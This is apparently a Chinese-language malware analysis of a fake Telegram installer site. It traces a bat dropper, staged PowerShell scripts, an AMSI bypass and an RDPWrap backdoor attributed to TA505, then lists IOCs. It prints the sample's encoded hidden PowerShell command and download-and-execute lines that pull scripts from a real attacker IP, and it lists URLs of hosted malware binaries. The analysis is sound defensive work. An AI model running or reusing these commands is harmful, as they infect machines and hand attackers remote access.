
1.起源
Jeremy Kirk博主表示在搜索telegram的时候发现有一个有趣的广告

访问链接后,看起来像是telegram的官方网站,做的很逼真,但是其实就是钓鱼网站,当我们查看链接时,我们发现它用恶意软件替换了Windows二进制文件:
指向第三方的链接
1
| https://bitbucket.org/LLCTRUST/softwarellc/downloads/TelegramInstaller.exe
|

查看证书,我们可以看到它们是由相同的CA在相同的时间范围内颁发的,这很可能使它们来自同一威胁参与者。
1 2 3
| https://telegramdesktop.com/ https://telegramdesktop.net/ https://telegramdesktop.org/
|

当然在博主发完博文的后,我再次查看该网站,发现了它对链接也进行了替换。

2.bitbucker发现
在.com网站将其文件分发到bitbucker仓库中(github替代品)。访问仓库时,我们可以收集有关感染,操作日期以及其他恶意软件样本的一些信息:

在该仓库发现如下内容
1 2 3 4 5 6 7 8 9 10 11 12 13
| https://bitbucket.org/LLCTRUST/softwarellc/get/31a6a41f7711.zip https://bitbucket.org/LLCTRUST/softwarellc/downloads/TelegramInstaller.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/Crycker.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/TelegramInstallerX86.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/RuntimeBroker.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/rxr.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/zxc.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/SoftwareUpdate.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/Discord_x86_Setup.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/TGInstaller.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/TGInstaller.scr https://bitbucket.org/LLCTRUST/softwarellc/downloads/DRX.exe https://bitbucket.org/LLCTRUST/softwarellc/downloads/SmartScreenUpdater.exe
|
3.powershell脚本分析
同时在该仓库中发现一个提交者的仓库。
本文就着重讲解在该提交者的仓库中的链接,我们从bat脚本更好的去入手分析
1 2 3 4 5 6
| https://bitbucket.org/takax/1/downloads/TGInstaller.rar https://bitbucket.org/takax/1/downloads/TelegramInstaller.rar https://bitbucket.org/takax/1/downloads/RDP.exe https://bitbucket.org/takax/1/downloads/TelegramInstaller.exe https://bitbucket.org/takax/1/downloads/clr.exe https://bitbucket.org/takax/1/downloads/12.bat
|
3.1 bat
运行bat后,下载执行powershel脚本。
1 2 3
| if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit powershell -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AOQA0AC4AMQA1ADgALgAyADQANQAuADgAOAAvAG0AYQBlAC4AcABzADEAJwApAA== exit
|
base64 解码后为以下内容,执行下载mae。ps1
1
| IEX (New-Object Net.Webclient).downloadstring('http://94.158.245.88/mae.ps1')
|
3.2 mae.ps1
1 2 3 4 5
| (New-Object Net.Webclient).downloadstring("http://94.158.245.88/mae/start.vbs") | out-file $env:temp\start.vbs (New-Object Net.Webclient).downloadstring("http://94.158.245.88/mae/Get-Content.ps1") | out-file $env:temp\Get-Content.ps1 (New-Object Net.Webclient).downloadstring("http://94.158.245.88/mae/ready.ps1") | out-file $env:temp\ready.ps1
start-process wscript -args "$env:temp\start.vbs"
|
下载2个powerrshell脚本和1个vbs脚本。运行vbs脚本。最终三个脚本都是为了执行Get-Content.ps1
3.3 start.vbs
通过WMI查看SMBiosData,反VM技术。如果成功,执行ready.ps1文件

3.4 ready.ps1
大体就是使用bypass amsi 去执行Get-Conten。ps1

1
| set-alias invokecommand expandstring invoke-expression AmsiScanBufferamsi.dll@¸W
|
综上所述这四个文件都是为了Get-Conten。ps1这一个脚本而去服务的
下面我们来重点分析这个脚本。
3.5 Get-Conten.ps1
前面部分和ready。ps1相似,也是用来bypass asmi的
但是func svcngnxjld 函数 是不同的,目的就是为了将其变量 $sotcschdvz的base64 payload 在变量 $swzsujyskx 三层字符串解密输出, 并 调用invoke-expression 进行执行

我们去掉最后一行 invoke-expression 字符串,让其输出**$swzsujyskx ** 变量解密后的内容,还原被加密之前的内容
内容大体如下图所示


那么当我们去解码**$reg base64**时,发现该代码为乱码。

那么我们发现**$reg命名为 $giruhabg** ,然后被func gogeoha31函数调用

那么我们可以看到func gogeoha31函数 ,$low变量引起我们的注意,这个变是解密的关键。

我们继续追踪到func pasgouta函数调用 ,可以看到 其功能为xor解密,而key 为 “urueusj”
我们可以找到网上开源的powershell 脚本进行 xor加密与解密
https://gist.github.com/gabemarshall/f25afd533b341e1b21bc39f8e26946b7

那么我们可以在CyberChef中加入xor的模块放入key,以及它还进行了 base64加密和gzip的压缩,然后再次使用base64加密,那么我们依次加入的模块为如下图所示,只需替换base64即可。

那么我们依次对下图所示的几个变量进行解码,即可得到相对应的文件。

将这些base64解密等处理后的文件为如下所示

1.rdpclip.exe

2.rdpwap.ini 目的就是开启rdp进行远控

3.rfxvmt.dll
rdpclip.exe对于RDP会话中的文件复制和粘贴是必需的,而rfxvmt.dll对于Microsoft RemoteFX VM Transport是必需的,它为RDP添加了附加功能,例如访问物理图形处理单元(GPU)硬件加速
在计算机上搜索这两个文件,如果找不到,则恶意软件会将它们写入系统。此外,该恶意软件还会进行以下权限更改:

这些权限更改对于两个删除的DLL文件正常运行是必需的。
这以上三个文件与已知19年的APT组织TA505—–Hive0065 使用的方法相似
4.reg注册表
依旧可以看到 reg注册表、rdp.ini配置文件、DLL文件 均与这个 开源的rdpwrap项目相关

5.mediasvc.png与mediasrv.png
这两个则为后门通信程序

4.部署
而get-conten文件最后呢 对系统进行了一些配置修改
1.修改远程端口7201,加载后门服务,开启远程,添加服务器
2.获得域管理员权限.
3.修改时间戳
4.添加rdp和终端服务
5.清理痕迹

4.IOC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| Main object - 12.bat SHA256 77895769097f983c4137bbea5b87a685f2252994e3761ede65081e45d496177c SHA1 8b9daf70dfbd04ecf3f98ef874392231d2ce1c70 MD5 ca9cc08a6f67e22bff228f7b862ba30e
mae.ps1 SHA256 42C277ADA9C6F8DDCD6211E4792A8DF1FA0D0AD8CBB867EEE1A431CC1B79834D SHA1 348909394CA5D1E605ECB20CFA95A1870F529669 MD5 DBD0A5FB31FDF76CF0D7DFA2E67ADEB7
start.vbs SHA256 5D4A0661CFB3CCA59ACD8A9FA433EC2C48D686DA36F3890B73E7B9F37C60E980 SHA1 57CED4325A4F1C93D6928E560E5C7209A4ED0282 MD5 9E3905E054E78547EC4FBBBB73E92B78
ready.ps1 SHA256 586850ea99ba4844c0dde20b7260c4222c67e0ede021c5e1c1339e664b1ce191 SHA1 17c7dd1b1e72c3fcdef91e9206f58406a98564e7 MD5 18e76ebd0f8694e0f998443e5763ea8d
Get-Content.ps1 SHA256 E9E217E32B0F5963FD40CAFB1CE800907B7B06F8A0E960B62BFA41D37841DEAB SHA1 B8C54D44DE03CFF2467FB504CD972D677C32AB25 MD5 DED160C4F2409D48DA8FEAF0934D3F02
Get-Content.ps1(malware-and-artifacts)
MD5 (Rdpclip.exe) = 1690e3004f712c75a2c9ff6bcde49461 MD5 (dgiusjeja64_mediasrv.png) = c13860727871a39063e0bb58117919ba MD5 (otiiahj64_mediasvc.png) = aa6bf98c9120b0539c0270a3e453ddf6 MD5 (reg.reg) = 5a2f4e19ffc05366279f9341913722f1 MD5 (rfxvmt.dll) = dc39d23e4c0e681fad7a3e1342a2843c MD5 (wupsvc.jpg_rdpwap.ini) = dc5b36b03764114c55cec484d975888a
Connections IP 94.158.245.88 IP 5.181.156.3
HTTP/HTTPS requests URL http://94.158.245.88/mae/start.vbs URL http://94.158.245.88/mae/Get-Content.ps1 URL http://94.158.245.88/mae/ready.ps1
|
链接:
https://github.com/stascorp/rdpwrap
https://suid.ch/research/Telegram_Malware_Analysis.html
https://www.joesandbox.com/analysis/370722/0/html
https://www.joesandbox.com/analysis/370720/0/html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/
https://gist.github.com/gabemarshall/f25afd533b341e1b21bc39f8e26946b7
https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/
https://attack.mitre.org/groups/G0092/